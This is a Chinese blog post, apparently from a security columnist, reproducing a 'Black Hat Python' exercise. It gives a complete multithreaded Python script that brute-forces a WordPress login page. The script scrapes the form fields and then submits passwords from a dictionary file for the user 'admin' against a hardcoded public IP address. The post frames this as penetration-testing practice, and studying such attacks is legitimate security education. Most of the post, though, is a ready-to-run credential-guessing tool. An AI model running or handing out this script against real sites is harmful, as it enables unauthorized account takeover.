python渗透测试入门之wordpress登录

近期收到了电子工业出版社赠送的一本网络安全书籍《python黑帽子》，书中一共24个实验，今天复现第14个实验（密码猜测），我的测试环境是mbp电脑+同事的wordpress站点+conda开发环境。有一说一，弱口令是脆弱的，但是复杂密码根本猜不出来，需要分析站点POST请求和响应是值得肯定的，但是等着耗着CPU和网络是不可取的～

ailx10

网络安全优秀回答者

网络安全硕士

去咨询

1、查阅wordpress站点登录页面源代码

• 首先GET请求，接受返回的所有cookie
• 解析返回页面中的表单元素（观察input标签，log是用户名、pwd是密码、wp-submit是提交、testcookie是隐藏cookie）
• 修改返回页面中的表单元素（将用户名设置为“admin”，将密码设置为字典中的每个元素，其他不变）
• 提交POST请求

2、下载字典文件

3、在mbp上运行脚本

参考代码：

# -*- coding: utf-8 -*-
# @Time    : 2022/6/13 9:47 PM
# @Author  : ailx10
# @File    : wordpress_killer.py

from io import BytesIO
from lxml import etree
from queue import Queue
import requests
import sys
import threading
import time

# SUCCESS = "Welcome to WordPress!"
SUCCESS = "欢迎"
TARGET = "http://124.223.4.212/wp-login.php"
WORDLIST = "/Users/ailx10/py3hack/chapter5/cain.txt"

def get_words():
    with open(WORDLIST) as f:
        raw_words = f.read()
        words = Queue()
        for word in raw_words.split():
            words.put(word)
    return words

def get_params(content):
    params = dict()
    parser = etree.HTMLParser()
    tree = etree.parse(BytesIO(content),parser=parser)
    for elem in tree.findall("//input"):
        name = elem.get("name")
        if name is not None:
            params[name] = elem.get("value",None)
    return params

class Bruter:
    def __init__(self,username,url):
        self.username = username
        self.url = url
        self.found = False
        print(f"\nBrute Force Attack beginning on {url}.\n")
        print("Finished the setup where username = %s\n"%username)

    def run_bruteforce(self,passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter,args=(passwords,))
            t.start()

    def web_bruter(self,passwords):
        session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)
        params["log"] = self.username

        while not passwords.empty() and not self.found:
            time.sleep(1)
            passwd = passwords.get()
            print(f"Trying username/password {self.username}/{passwd:<10}")
            params["pwd"] = passwd

            resp1 = session.post(self.url,data=params)
            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s"%self.username)
                print("Password is %s\n"%passwd)
                print("done.")

if __name__ == "__main__":
    words = get_words()
    b = Bruter("admin",TARGET)
    b.run_bruteforce(words)           

发布于 2022-06-13 22:23